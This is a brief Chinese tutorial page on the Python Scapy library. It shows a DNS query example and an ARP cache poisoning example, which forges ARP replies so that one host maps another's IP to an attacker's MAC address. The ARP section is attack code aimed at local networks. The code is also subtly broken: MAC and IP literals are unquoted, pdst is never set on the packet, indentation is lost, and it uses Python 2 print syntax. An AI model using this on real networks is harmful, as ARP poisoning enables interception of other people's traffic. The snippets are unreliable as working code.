python3安装scapy库_Python库Scapy 3

1、Scapy库用于DNS查询

使用Scapy,最重要的是熟悉每种协议的报文结构,以下是构造DNS报文,进行针对“www.baidu.com”的DNS查询

from scapy.all import *

p=DNS(rd=1, qd=DNSQR(qname='www.baidu.com'))

sr(IP(dst='输入DNS服务器IP地址')/UDP(dport=53)/p)

ans, unans=_

if ans[0][1].haslayer(DNS):

answer=ans[0][1].getlayer(DNS)

for x in range(answer.ancount):

if answer.an[x].type==1:

print answer.an[x].rdata

2、Scapy库用于ARP Poison攻击

这个较简单,直接构造ARP报文向目标发送即可。

首先利用ARP().show()显示ARP报文参数,其中,

hwsrc表示要伪造的MAC地址(通常是攻击者的MAC地址),psrc表示伪装使用的IP地址,pdst表示被攻击的IP地址。

示例:

如果要将192.168.1.1上的ARP缓存的192.168.1.2的MAC地址毒化为00:0c:29:3e:0f:da

from scapy.all import *

p=ARP()

p.hwsrc=00:0c:29:3e:0f:da

p.psrc=192.168.1.2

pdst=192.168.1.1

send(p)

你可能感兴趣的:(python3安装scapy库)